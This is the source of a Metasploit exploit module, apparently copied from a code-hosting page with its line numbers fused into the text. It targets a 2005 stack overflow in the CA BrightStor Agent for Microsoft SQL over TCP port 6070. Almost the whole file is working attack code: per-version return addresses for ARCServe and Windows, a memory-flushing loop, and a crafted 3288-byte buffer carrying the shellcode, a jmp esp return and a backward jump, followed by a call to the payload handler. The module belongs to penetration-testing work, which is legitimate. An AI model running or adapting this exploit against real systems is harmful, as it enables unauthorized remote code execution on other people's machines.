Path: blob/master/modules/exploits/windows/brightstor/sql_agent.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',15'Description' => %q{16This module exploits a vulnerability in the CA BrightStor17Agent for Microsoft SQL Server. This vulnerability was18discovered by cybertronic[at]gmx.net.19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2005-1272'],24[ 'OSVDB', '18501' ],25[ 'BID', '14453'],26[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],27[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],28],29'Privileged' => true,30'Payload' => {31'Space' => 1000,32'BadChars' => "\x00",33'StackAdjustment' => -3500,34},35'Platform' => %w{win},36'Targets' => [37# This exploit requires a jmp esp for return38['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp39['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret40['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret4142# Generic jmp esp's43['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp44['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp45['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret46['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret47['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret48['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret49],50'DisclosureDate' => '2005-08-02',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options(61[62Opt::RPORT(6070)63]64)65end6667def exploit68print_status("Trying target #{target.name}...")6970# The 'one line' request does not work against Windows 2003711.upto(5) { |i|72# Flush some memory73connect74begin75sock.put("\xff" * 0x12000)76sock.get_once77rescue78end79disconnect8081# 3288 bytes max82# 696 == good data (1228 bytes contiguous) @ 0293f5e083# 3168 == return address84# 3172 == esp @ 0293ff8c (2476 from good data)8586buf = rand_text_english(3288, payload_badchars)87buf[696, payload.encoded.length] = payload.encoded88buf[3168, 4] = [target.ret].pack('V') # jmp esp89buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -24769091connect92begin93sock.put(buf)94sock.get_once95rescue96end9798handler99disconnect100}101end102end103104105